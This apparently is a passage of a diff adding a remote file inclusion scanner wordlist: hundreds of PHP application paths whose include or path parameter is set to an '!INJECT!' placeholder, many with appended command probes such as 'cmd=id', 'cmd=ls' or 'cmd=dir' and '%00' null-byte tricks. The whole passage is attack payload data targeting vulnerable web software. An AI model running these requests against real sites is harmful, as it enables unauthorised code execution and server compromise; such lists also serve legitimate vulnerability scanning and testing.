+/includes/lang/language.php?path_to_root=!INJECT!
+/includes/lib-account.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/lib-group.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/lib-log.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/lib-themes.inc.php?CONF_CONFIG_PATH=!INJECT!?
+/includes/logger_engine.php?phpbb_root_path=!INJECT!
+/includes/menuleft.inc.php?PagePrefix=!INJECT!
+/includes/mkb.php?phpbb_root_path=!INJECT!?ls
+/includes/morcegoCMS/adodb/adodb.inc.php?path=!INJECT!
+/includes/morcegoCMS/morcegoCMS.php?fichero=!INJECT!
+/includes/mx_common.php?module_root_path=!INJECT!?
+/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=!INJECT!
+/includes/orderSuccess.inc.php?&glob=1&cart_order_id=1&glob[rootDir]=!INJECT!
+/includes/pafiledb_constants.php?module_root_path=!INJECT!
+/includes/pages.inc.php?PagePrefix=!INJECT!
+/includes/phpdig/includes/config.php?relative_script_path=!INJECT!
+/includes/profilcp_constants.php?module_root_path=!INJECT!?
+/includes/settings.inc.php?approot=!INJECT!
+/includes/template.php?myevent_path=!INJECT!
+/includes/themen_portal_mitte.php?phpbb_root_path=!INJECT!
+/includes/tumbnail.php?config[root_ordner]=!INJECT!?
+/includes/usercp_register.php?phpbb_root_path=!INJECT!?
+/includes/usercp_viewprofile.php?phpbb_root_path=!INJECT!?
+/includes/xhtml.php?d_root=!INJECT!?
+/index.php3?Application_Root=!INJECT!
+/index.php?1=lol&PAGES[lol]=!INJECT!
+/index.php?AML_opensite=!INJECT!
+/index.php?AMV_openconfig=1&AMV_serverpath=!INJECT!
+/index.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/index.php?ConfigDir=!INJECT!
+/index.php?DIR_PLUGINS=!INJECT!
+/index.php?G_JGALL[inc_path]=!INJECT!%00
+/index.php?HomeDir=!INJECT!
+/index.php?Lang=AR&Page=!INJECT!
+/index.php?Madoa=!INJECT!?
+/index.php?RP_PATH=!INJECT!
+/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=!INJECT!
+/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=!INJECT!
+/index.php?abg_path=!INJECT!?
+/index.php?abs_path=!INJECT!?
+/index.php?adduser=true&lang=!INJECT!
+/index.php?adodb=!INJECT!
+/index.php?ads_file=!INJECT!
+/index.php?arquivo=!INJECT!
+/index.php?back=!INJECT!
+/index.php?base==!INJECT!
+/index.php?basePath=!INJECT!
+/index.php?bibtexrootrel=!INJECT!?
+/index.php?blog_dc_path=!INJECT!
+/index.php?blog_theme=!INJECT!
+/index.php?body=!INJECT!
+/index.php?class_path=!INJECT!?
+/index.php?classified_path=!INJECT!?
+/index.php?cms=!INJECT!?
+/index.php?config["sipssys"]=!INJECT!
+/index.php?config[root_ordner]=!INJECT!?&cmd=id
+/index.php?config[root_ordner]=!INJECT!?cmd=id
+/index.php?config_atkroot=!INJECT!
+/index.php?configuration=!INJECT!
+/index.php?custom_admin_path=!INJECT!?
+/index.php?dateiPfad=!INJECT!?&cmd=ls
+/index.php?de=!INJECT!
+/index.php?dept=!INJECT!
+/index.php?do=!INJECT!
+/index.php?exec=!INJECT!?
+/index.php?ext=!INJECT!
+/index.php?faq_path=!INJECT!?&cmd=id
+/index.php?file_name[]=!INJECT!?
+/index.php?file_path=!INJECT!?
+/index.php?fileloc=!INJECT!
+/index.php?from=!INJECT!
+/index.php?func=!INJECT!?
+/index.php?function=!INJECT!
+/index.php?function=custom&custom=!INJECT!
+/index.php?gOo=!INJECT!
+/index.php?gen=!INJECT!
+/index.php?get=!INJECT!
+/index.php?home_name=!INJECT!
+/index.php?ilang=!INJECT!?
+/index.php?inc_dir=!INJECT!
+/index.php?inc_dir=!INJECT!?
+/index.php?includeDir=!INJECT!
+/index.php?includeFooter=!INJECT!
+/index.php?includesdir=!INJECT!
+/index.php?insPath=!INJECT!
+/index.php?lang=!INJECT!
+/index.php?language=!INJECT!?
+/index.php?language=en&main_page=!INJECT!
+/index.php?lizge=!INJECT!?&cmd=ls
+/index.php?lng=!INJECT!
+/index.php?load=!INJECT!
+/index.php?loadpage=!INJECT!
+/index.php?main_tabid=1&main_content=!INJECT!
+/index.php?may=!INJECT!
+/index.php?middle=!INJECT!
+/index.php?mode=!INJECT!
+/index.php?modpath=!INJECT!
+/index.php?module=PostWrap&page=!INJECT!
+/index.php?mosConfig_absolute_path=!INJECT!
+/index.php?news7["functions"]=!INJECT!
+/index.php?news_include_path=!INJECT!
+/index.php?open=!INJECT!
+/index.php?option=com_custompages&cpage=!INJECT!?
+/index.php?page=!INJECT!
+/index.php?page=!INJECT!%00
+/index.php?page=!INJECT!?
+/index.php?page!INJECT!
+/index.php?page[path]=!INJECT!?&cmd=ls
+/index.php?pagename=!INJECT!
+/index.php?pager=!INJECT!
+/index.php?pagina=!INJECT!?
+/index.php?path_to_folder=!INJECT!?cmd=id
+/index.php?pg=!INJECT!?
+/index.php?phpbb_root_path=!INJECT!
+/index.php?plugin=!INJECT!
+/index.php?principal=!INJECT!
+/index.php?proMod=!INJECT!
+/index.php?proMod=!INJECT!?cmd
+/index.php?project=!INJECT!
+/index.php?repinc=!INJECT!?
+/index.php?root_prefix=!INJECT!
+/index.php?root_prefix=!INJECT!?
+/index.php?section=!INJECT!
+/index.php?site=!INJECT!
+/index.php?site_path=!INJECT!
+/index.php?styl[top]=!INJECT!??
+/index.php?template=!INJECT!?
+/index.php?templates_dir=!INJECT!?
+/index.php?theme=!INJECT!
+/index.php?themepath=!INJECT!?
+/index.php?themesdir=!INJECT!
+/index.php?this_path=!INJECT!?
+/index.php?txt=!INJECT!
+/index.php?up=!INJECT!
+/index.php?url=!INJECT!
+/index.php?w=!INJECT!
+/index.php?way=!INJECT!??????????????
+/index1.php?=!INJECT!
+/index1.php?inc=!INJECT!
+/index1.php?inhalt=!INJECT!
+/index2.php?=!INJECT!
+/index2.php?content=!INJECT!
+/index2.php?s=!INJECT!
+/index2.php?x=!INJECT!
+/indexinfo.php?bibtexrootrel=!INJECT!?
+/indexk.php?lib_path=!INJECT!?
+/info.php?file=!INJECT!
+/inhalt.php?dateien[news]=!INJECT!?
+/init.php?API_HOME_DIR=!INJECT!
+/init.php?scriptpath=!INJECT!?
+/initialize.php?hmail_config[includepath]=!INJECT!&cmd=dir
+/initiate.php?abs_path=!INJECT!
+/install.php?_NE[AbsPath]=!INJECT!
+/install.php?install_dir=!INJECT!
+/install/config.php?path=!INJECT!
+/install/di.php?pathtoserverdata=!INJECT!
+/install/index.php?content_php=!INJECT!
+/install/install3.php?database=none&cabsolute_path=!INJECT!
+/integration/shortstat/configuration.php?SPL_CFG[dirroot]=!INJECT!?
+/interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=!INJECT!?
+/interact/modules/scorm/lib.inc.php?CONFIG[BASE_PATH]=!INJECT!?
+/interface/billing/billing_process.php?srcdir=!INJECT!?
+/interface/editors/-custom.php?bField[bf_data]=!INJECT!
+/interface/editors/custom.php?bField[bf_data]=!INJECT!
+/interface/new/new_patient_save.php?srcdir=!INJECT!?
+/intern/admin/?rootdir=!INJECT!
+/intern/admin/other/backup.php?admin=1&rootdir=!INJECT!
+/intern/clan/member_add.php?rootdir=!INJECT!
+/intern/config/forum.php?rootdir=!INJECT!
+/intern/config/key_2.php?rootdir=!INJECT!
+/ip.inc.php?type=1&cgipath=!INJECT!
+/ipeer_site/?page=!INJECT!?
+/joinus.php?vwar_root=!INJECT!
+/joinus.php?vwar_root=!INJECT!?&cmd=ls
+/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=!INJECT!?
+/joomla_path/components/com_articles.php?absolute_path=!INJECT!?
+/js/bbcodepress/bbcode-form.php?BBCODE_path=!INJECT!
+/js/wptable-tinymce.php?ABSPATH=!INJECT!
+/jscript.php?my_ms[root]=!INJECT!?
+/kernel/class/ixpts.class.php?IXP_ROOT_PATH=!INJECT!
+/kernel/loadkernel.php?installPath=!INJECT!
+/kmitaadmin/kmitam/htmlcode.php?file=!INJECT!?
+/ktmlpro/includes/ktedit/toolbar.php?dirDepth=!INJECT!
+/lang/leslangues.php?fichier=!INJECT!
+/lang_english/lang_main_album.php?phpbb_root_path=!INJECT!?a=
+/language/lang_english/lang_activity.php?phpbb_root_path=!INJECT!
+/language/lang_english/lang_admin_album.php?phpbb_root_path=!INJECT!?a=
+/language/lang_german/lang_admin_album.php?phpbb_root_path=!INJECT!?a=
+/language/lang_german/lang_main_album.php?phpbb_root_path=!INJECT!?a=
+/latestposts.php?forumspath=!INJECT!
+/latex.php?bibtexrootrel=!INJECT!?
+/layout/default/params.php?gConf[dir][layouts]=!INJECT!?
+/ldap/authldap.php?includePath=!INJECT!
+/learnPath/include/scormExport.inc.php?includePath=!INJECT!
+/lib.editor.inc.php?sys_path=!INJECT!?
+/lib/Loggix/Module/Calendar.php?pathToIndex=!INJECT!
+/lib/Loggix/Module/Comment.php?pathToIndex=!INJECT!
+/lib/Loggix/Module/Rss.php?pathToIndex=!INJECT!
+/lib/Loggix/Module/Trackback.php?pathToIndex=!INJECT!
+/lib/action/rss.php?lib=!INJECT!?
+/lib/activeutil.php?set[include_path]=!INJECT!?
+/lib/addressbook.php?GLOBALS[basedir]=!INJECT!
+/lib/armygame.php?libpath=!INJECT!
+/lib/authuser.php?root=!INJECT!
+/lib/base.php?BaseCfg[BaseDir]=!INJECT!
+/lib/connect.php?root=!INJECT!
+/lib/connected_users.lib.php3?ChatPath=!INJECT!
+/lib/connected_users.lib.php3?ChatPath=!INJECT!?
+/lib/db/mysql.class.php?root=!INJECT!
+/lib/db/postgres.class.php?root=!INJECT!
+/lib/functions.php?DOC_ROOT=!INJECT!
+/lib/googlesearch/GoogleSearch.php?APP[path][lib]=!INJECT!?
+/lib/header.php?DOC_ROOT=!INJECT!
+/lib/language.php?_LIB_DIR=!INJECT!
+/lib/live_status.lib.php?ROOT=!INJECT!
+/lib/misc.php?root=!INJECT!
+/lib/nl/nl.php?g_strRootDir=!INJECT!
+/lib/obj/collection.class.php?GLOBALS[application][app_root]=!INJECT!
+/lib/obj/content_image.class.php?GLOBALS[application][app_root]=!INJECT!
+/lib/pcltar.lib.php?g_pcltar_lib_dir=!INJECT!
+/lib/pcltrace.lib.php?g_pcltar_lib_dir=!INJECT!
+/lib/rs.php?rootpath=!INJECT!
+/lib/selectlang.php?BBC_LANGUAGE_PATH=!INJECT!
+/lib/smarty/SmartyFU.class.php?system[smarty][dir]=!INJECT!?
+/lib/static/header.php?set_menu=!INJECT!
+/lib/tpl.inc.php?conf[classpath]=!INJECT!
+/libraries/comment/postComment.php?path[cb]=!INJECT!?a=
+/libraries/database.php?path=!INJECT!???
+/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=!INJECT!
+/libraries/pcl/pcltar.php?g_pcltar_lib_dir=!INJECT!
+/library/authorize.php?login_form=!INJECT!?
+/library/translation.inc.php?GLOBALS[srcdir]=!INJECT!?
+/libs/db.php?path_local=!INJECT!
+/libs/ftp.php?path_local=!INJECT!
+/libs/lom.php?ETCDIR=!INJECT!
+/libsecure.php?abs_path=!INJECT!?
+/license.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/link_main.php?phpbb_root_path=!INJECT!
+/linkadmin.php?page=!INJECT!?
+/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed=!INJECT!?
+/list.php?phpbb_root_path=!INJECT!
+/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=!INJECT!
+/lms_path/modules/welcome.php?_LIB_DIR=!INJECT!
+/load_lang.php?_SERWEB[configdir]=!INJECT!
+/load_lang.php?_SERWEB[serwebdir]=!INJECT!
+/load_phplib.php?_PHPLIB[libdir]=!INJECT!
+/loader.php?GLOBALS=!INJECT!
+/local/lib/lcUser.php?LIBDIR=!INJECT!?
+/log.php?bibtexrootrel=!INJECT!?
+/login.php3?cl_headers=!INJECT!
+/login.php?base_dir=!INJECT!
+/login.php?blog_theme=!INJECT!
+/login.php?langfile=!INJECT!
+/login.php?pachtofile=!INJECT!
+/login.php?srcdir=!INJECT!?
+/login.php?value=!INJECT!??
+/lovecms/install/index.php?step=!INJECT!?
+/m2f/m2f_cron.php?m2f_root_path=!INJECT!
+/m2f/m2f_forum.php?m2f_root_path=!INJECT!
+/m2f/m2f_mailinglist.php?m2f_root_path=!INJECT!
+/m2f/m2f_phpbb204.php?m2f_root_path=!INJECT!
+/maguz.php?site=!INJECT!
+/mail/childwindow.inc.php?form=!INJECT!?
+/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=!INJECT!?
+/mail_this_entry/mail_autocheck.php?pm_path=!INJECT!?&cmd=ls
+/main.inc.php?pathtoscript=!INJECT!
+/main.php?config[search_disp]=true&include_dir=!INJECT!
+/main.php?id=!INJECT!
+/main.php?include_path=!INJECT!?
+/main.php?pageURL=!INJECT!
+/main.php?pagina=!INJECT!
+/main/forum/komentar.php?site_path=!INJECT!
+/main/main.php?pi=!INJECT!
+/main/ppcbannerclick.php?INC=!INJECT!?
+/main/ppcclick.php?INC=!INJECT!?
+/main_prepend.php?_SERWEB[functionsdir]=!INJECT!
+/mainpage.php?docroot=!INJECT!?cmd
+/mamboleto.php?mosConfig_absolute_path=!INJECT!
+/mambots/editors/path/jscripts/tiny_mce/plugins/preview/preview.php?mosConfig_absolute_path=!INJECT!
+/manage_songs.php?foing_root_path=!INJECT!
+/manager/admin/index.php?MGR=!INJECT!
+/manager/admin/p_ins.php?MGR=!INJECT!
+/manager/admin/u_ins.php?MGR=!INJECT!
+/manager/articles.php?_PX_config[manager_path]=!INJECT!
+/manager/static/view.php?propID=0&INC=!INJECT!
+/master.php?root_path=!INJECT!
+/mcNews/admin/header.php?skinfile=!INJECT!
+/mcf.php?content=!INJECT!
+/mcnews/admin/install.php?l=!INJECT!
+/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=!INJECT!
+/member.php?vwar_root=!INJECT!
+/member/usercp_menu.php?script_folder=!INJECT!
+/members/index.php?INC=!INJECT!?
+/members/registration.php?INC=!INJECT!?
+/members_help.php?hlp=!INJECT!?
+/membres/membreManager.php?include_path=!INJECT!?
+/menu.php3?cl_headers=!INJECT!
+/menu.php?functions_file=!INJECT!
+/mep/frame.php?chem=!INJECT!?
+/microcms/includes/file_manager/special.php?fm_includes_special=!INJECT!
+/middle.php?file=!INJECT!
+/migrateNE2toNE3.php?_NE[AbsPath]=!INJECT!
+/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=!INJECT!?
+/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=!INJECT!?
+/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=!INJECT!?
+/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=!INJECT!?
+/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=!INJECT!?
+/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=!INJECT!?
+/mini-pub.php/front-end/img.php?sFileName=!INJECT!?
+/minimal/wiki.php?page=!INJECT!?
+/misc/function.php3?path=!INJECT!?
+/mitglieder.php?config[root_ordner]=!INJECT!?&cmd=id
+/mkportal/include/user.php?MK_PATH=!INJECT!
+/mkportal/include/user.php?MK_PATH=!INJECT!?
+/mod/authent.php4?rootpath=!INJECT!
+/mod/image/index.php?config[pathMod]=!INJECT!
+/mod/liens/index.php?config[pathMod]=!INJECT!
+/mod/liste/index.php?config[pathMod]=!INJECT!
+/mod/special/index.php?config[pathMod]=!INJECT!
+/mod/texte/index.php?config[pathMod]=!INJECT!
+/mod_membre/inscription.php?chemin=!INJECT!?
+/mod_phpalbum/sommaire_admin.php?chemin=!INJECT!?
+/modernbill/include/html/config.php?DIR=!INJECT!
+/modifyform.html?code=!INJECT!
+/mods/business_functions.php?GALLERY_BASEDIR=!INJECT!
+/mods/config/load.inc.php?moddir=!INJECT!?
+/mods/http/load.inc.php?moddir=!INJECT!?
+/mods/ui_functions.php?GALLERY_BASEDIR=!INJECT!
+/module/forum/forum.php?fd=!INJECT!=';
+/module/forum/main.php?id=1&main_dir=!INJECT!?&
+/modules.php?name=!INJECT!&file=article&sid=2
+/modules/4nAlbum/public/displayCategory.php?basepath=!INJECT!
+/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=!INJECT!
+/modules/Calendar/admin/update.php?calpath=!INJECT!?
+/modules/Calendar/calendar.php?calpath=!INJECT!?
+/modules/Calendar/scheme.php?calpath=!INJECT!?
+/modules/Discipline/CategoryBreakdownTime.php?FocusPath=!INJECT!
+/modules/Discipline/CategoryBreakdownTime.php?staticpath=!INJECT!
+/modules/Discipline/StudentFieldBreakdown.php?staticpath=!INJECT!
+/modules/Forums/admin/admin_styles.php?phpbb_root_path=!INJECT!
+/modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=!INJECT!
+/modules/My_eGallery/index.php?basepath=!INJECT!
+/modules/My_eGallery/public/displayCategory.php?basepath=!INJECT!
+/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=!INJECT!?
+/modules/NukeAI/util.php?AIbasedir=!INJECT!
+/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=!INJECT!
+/modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=!INJECT!
+/modules/abook/foldertree.php?baseDir==!INJECT!?
+/modules/addons/plugin.php?doc_root=!INJECT!
+/modules/admin/include/config.php?doc_root=!INJECT!
+/modules/admin/include/localize.php?doc_root=!INJECT!
+/modules/agendax/addevent.inc.php?agendax_path=!INJECT!&cmd=id
+/modules/bank/includes/design/main.inc.php?bank_data[root]=!INJECT!?
+/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=!INJECT!
+/modules/birstday/birst.php?exbb[home_path]=!INJECT!?
+/modules/birstday/profile_show.php?exbb[home_path]=!INJECT!?
+/modules/birstday/select.php?exbb[home_path]=!INJECT!?
+/modules/blocks/headerfile.php?system[path]=!INJECT!
+/modules/calendar/index.php?inc_dir=!INJECT!
+/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=!INJECT!?
+/modules/calendar/mod_calendar.php?absolute_path=!INJECT!?
+/modules/certinfo/index.php?full_path=!INJECT!
+/modules/character_roster/include.php?mod_root=!INJECT!?
+/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=!INJECT!?
+/modules/coppermine/themes/default/theme.php?THEME_DIR=!INJECT!
+/modules/downloads/lib/LM_Downloads.php?pathToIndex=!INJECT!
+/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=!INJECT!
+/modules/emails/index.php?full_path=!INJECT!
+/modules/events/index.php?full_path=!INJECT!
+/modules/fax/index.php?full_path=!INJECT!
+/modules/files/blocks/latest_files.php?system[path]=!INJECT!
+/modules/files/index.php?full_path=!INJECT!
+/modules/files/list.php?full_path=!INJECT!
+/modules/filters/headerfile.php?system[path]=!INJECT!
+/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=!INJECT!?
+/modules/forums/blocks/latest_posts.php?system[path]=!INJECT!
+/modules/global/inc/content.inc.php?sIncPath=!INJECT!?
+/modules/groupadm/index.php?full_path=!INJECT!
+/modules/groups/headerfile.php?system[path]=!INJECT!
+/modules/guestbook/index.php?CONFIG[local_root]=!INJECT!?
+/modules/history/index.php?full_path=!INJECT!
+/modules/home.module.php?repmod=!INJECT!?
+/modules/horoscope/footer.php?xoopsConfig[root_path]=!INJECT!
+/modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root=!INJECT!
+/modules/info/index.php?full_path=!INJECT!
+/modules/links/blocks/links.php?system[path]=!INJECT!
+/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=!INJECT!
+/modules/links/submit_links.php?rootdp=zZz&gsLanguage=!INJECT!
+/modules/log/index.php?full_path=!INJECT!
+/modules/mail/index.php?full_path=!INJECT!
+/modules/menu/headerfile.php?system[path]=!INJECT!
+/modules/messages/index.php?full_path=!INJECT!
+/modules/mod_as_category.php?mosConfig_absolute_path=!INJECT!
+/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=!INJECT!
+/modules/mod_calendar.php?absolute_path=!INJECT!
+/modules/mod_flatmenu.php?mosConfig_absolute_path=!INJECT!
+/modules/mod_mainmenu.php?mosConfig_absolute_path=!INJECT!
+/modules/mod_weather.php?absolute_path=!INJECT!?
+/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=!INJECT!?
+/modules/newbb_plus/config.php?bbPath[root_theme]=!INJECT!
+/modules/newbb_plus/votepolls.php?bbPath[path]=!INJECT!
+/modules/news/blocks/latest_news.php?system[path]=!INJECT!
+/modules/newusergreatings/pm_newreg.php?exbb[home_path]=!INJECT!?
+/modules/organizations/index.php?full_path=!INJECT!
+/modules/phones/index.php?full_path=!INJECT!
+/modules/pms/index.php?module_path=!INJECT!???
+/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=!INJECT!
+/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=!INJECT!
+/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=!INJECT!?
+/modules/presence/index.php?full_path=!INJECT!
+/modules/projects/index.php?full_path=!INJECT!
+/modules/projects/list.php?full_path=!INJECT!
+/modules/projects/summary.inc.php?full_path=!INJECT!
+/modules/punish/p_error.php?exbb[home_path]=!INJECT!?
+/modules/punish/profile.php?exbb[home_path]=!INJECT!?
+/modules/reports/index.php?full_path=!INJECT!
+/modules/search/index.php?full_path=!INJECT!
+/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=!INJECT!?
+/modules/settings/headerfile.php?system[path]=!INJECT!
+/modules/snf/index.php?full_path=!INJECT!
+/modules/syslog/index.php?full_path=!INJECT!
+/modules/tasks/index.php?full_path=!INJECT!
+/modules/tasks/searchsimilar.php?full_path=!INJECT!
+/modules/tasks/summary.inc.php?full_path=!INJECT!
+/modules/threadstop/threadstop.php?exbb[home_path]=!INJECT!?
+/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=!INJECT!
+/modules/tml/block.tag.php?GLOBALS[PTH][classes]=!INJECT!
+/modules/tsdisplay4xoops/blocks/tsdisplay4xoops_block2.php?xoops_url=!INJECT!
+/modules/useradm/index.php?full_path=!INJECT!
+/modules/users/headerfile.php?system[path]=!INJECT!
+/modules/vWar_Account/includes/functions_common.php?vwar_root2=!INJECT!
+/modules/visitors2/include/config.inc.php?lvc_include_dir=!INJECT!?
+/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=!INJECT!
+/modules/wiwimod/spaw/spaw_control.class.php?spaw_root=!INJECT!
+/modules/xfsection/modify.php?dir_module=!INJECT!
+/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=!INJECT!
+/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=!INJECT!
+/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=!INJECT!?
+/modulistica/mdl_save.php?CLASSPATH=!INJECT!
+/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=!INJECT!?
+/moodle/admin/utfdbmigrate.php?cmd=!INJECT!
+/moosegallery/display.php?type=!INJECT!?&cmd=[command]
+/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=!INJECT!
+/moteur/moteur.php?chemin=!INJECT!?
+/movie_cls.php?full_path=!INJECT!
+/msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=!INJECT!
+/music/buycd.php?HTTP_DOCUMENT_ROOT=!INJECT!?
+/mutant_includes/mutant_functions.php?phpbb_root_path=!INJECT!
+/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=!INJECT!
+/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=!INJECT!
+/mygallery/myfunctions/mygallerybrowser.php?myPath=!INJECT!
+/myphpcommander_path/system/lib/package.php?gl_root=!INJECT!?cmd
+/mysave.php?file=!INJECT!
+/naboard_pnr.php?skin=!INJECT!?
+/ncaster/admin/addons/archive/archive.php?adminfolder=!INJECT!
+/network_module_selector.php?path_prefix=!INJECT!
+/news.php?CONFIG[script_path]=!INJECT!?
+/news.php?config[root_ordner]=!INJECT!?&cmd=id
+/news.php?scriptpath=!INJECT!?
+/news.php?vwar_root=!INJECT!
+/news/include/createdb.php?langfile;=!INJECT!?
+/news/include/customize.php?l=!INJECT!?
+/news/newstopic_inc.php?indir=!INJECT!
+/news/scripts/news_page.php?script_path=!INJECT!?
+/newsadmin.php?action=!INJECT!
+/newsarchive.php?path_to_script=!INJECT!?&cmd=ls
+/newsfeeds/includes/aggregator.php?zf_path=!INJECT!
+/newsfeeds/includes/controller.php?zf_path=!INJECT!
+/newsletter/newsletter.php?waroot=!INJECT!
+/newsp/lib/class.Database.php?path=!INJECT!?
+/newticket.php?lang=!INJECT!
+/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=!INJECT!
+/noticias.php?inc=!INJECT!?
+/nucleus/plugins/skinfiles/index.php?DIR_LIBS=!INJECT!
+/nuke_path/iframe.php?file=!INJECT!
+/nukebrowser.php?filnavn=!INJECT!&filhead=!INJECT!&cmd=id
+/nuseo/admin/nuseo_admin_d.php?nuseo_dir=!INJECT!?
+/oaboard_en/forum.php?inc=!INJECT!
+/ocp-103/index.php?req_path=!INJECT!
+/ocs/include/footer.inc.php?fullpath=!INJECT!?
+/ocs/include/theme.inc.php?fullpath=!INJECT!?
+/ocs/openemr-2.8.2/custom/import_xml.php?srcdir=!INJECT!?
+/olbookmarks-0.7.4/themes/test1.php?!INJECT!
+/oneadmin/adminfoot.php?path[docroot]=!INJECT!
+/oneadmin/blogger/sampleblogger.php?path[docroot]=!INJECT!?
+/oneadmin/config-bak.php?include_once=!INJECT!
+/oneadmin/config.php?path[docroot]=!INJECT!
+/oneadmin/ecommerce/sampleecommerce.php?path[docroot]=!INJECT!?
+/online.php?config[root_ordner]=!INJECT!?&cmd=id
+/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=!INJECT!?
+/openi-admin/base/fileloader.php?config[openi_dir]=!INJECT!
+/openrat/themes/default/include/html/insert.inc.php?tpl_dir=!INJECT!???
+/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=!INJECT!
+/ops/gals.php?news_file=!INJECT!
+/order/login.php?svr_rootscript=!INJECT!
+/osData/php121/php121db.php?php121dir=!INJECT!%00
+/ossigeno-suite-2.2_pre1/upload/xax/admin/modules/uninstall_module.php?level=!INJECT!?
+/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=!INJECT!?
+/owimg.php3?path=!INJECT!
+/p-news.php?pn_lang=!INJECT!
+/pafiledb/includes/pafiledb_constants.php?module_root_path=!INJECT!
+/page.php?goto=!INJECT!
+/page.php?id=!INJECT!
+/panel/common/theme/default/header_setup.php?path[docroot]=!INJECT!
+/param_editor.php?folder=!INJECT!?
+/parse/parser.php?WN_BASEDIR=!INJECT!
+/patch/?language_id=!INJECT!
+/patch/tools/send_reminders.php?noSet=0&includedir=!INJECT!?
+/paypalipn/ipnprocess.php?INC=!INJECT!?
+/pda/pda_projects.php?offset=!INJECT!
+/phfito/phfito-post?SRC_PATH=!INJECT!
+/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=!INJECT!
+/photo_comment.php?toroot=!INJECT!
+/php-inc/log.inc.php?SKIN_URL=!INJECT!
+/php-include-robotsservices.php?page=!INJECT!
+/php-nuke/modules/Forums/admin/admin_styles.php?phpbb_root_path=!INJECT!
+/php.incs/common.inc.php?cm_basedir=!INJECT!?
+/php/init.gallery.php?include_class=!INJECT!/something
+/php121db.php?php121dir=!INJECT!%00
+/php4you.php?dir=!INJECT!?
+/phpAdsNew-2.0.7/libraries/lib-remotehost.inc?phpAds_geoPlugin=!INJECT!?
+/phpBB2/shoutbox.php?phpbb_root_path=!INJECT!
+/phpCards.header.php?CardPath=!INJECT!?
+/phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=!INJECT!
+/phpMyChat.php3?=!INJECT!?cmd=id
+/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=!INJECT!?
+/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=!INJECT!?
+/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=!INJECT!
+/phpbb/sendmsg.php?phpbb_root_path=!INJECT!
+/phpcalendar/includes/calendar.php?phpc_root_path=!INJECT!?
+/phpcalendar/includes/setup.php?phpc_root_path=!INJECT!?
+/phpdebug_PATH/test/debug_test.php?debugClassLocation=!INJECT!
+/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=!INJECT!
+/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=!INJECT!
+/phphd_downloads/common.php?phphd_real_path=!INJECT!
+/phphost_directoryv2/include/admin.php?rd=!INJECT!?
+/phphtml.php?htmlclass_path=!INJECT!
+/phpi/edit_top_feature.php?include_connection=!INJECT!
+/phpi/edit_topics_feature.php?include_connection=!INJECT!
+/phplib/site_conf.php?ordnertiefe=!INJECT!
+/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=!INJECT!
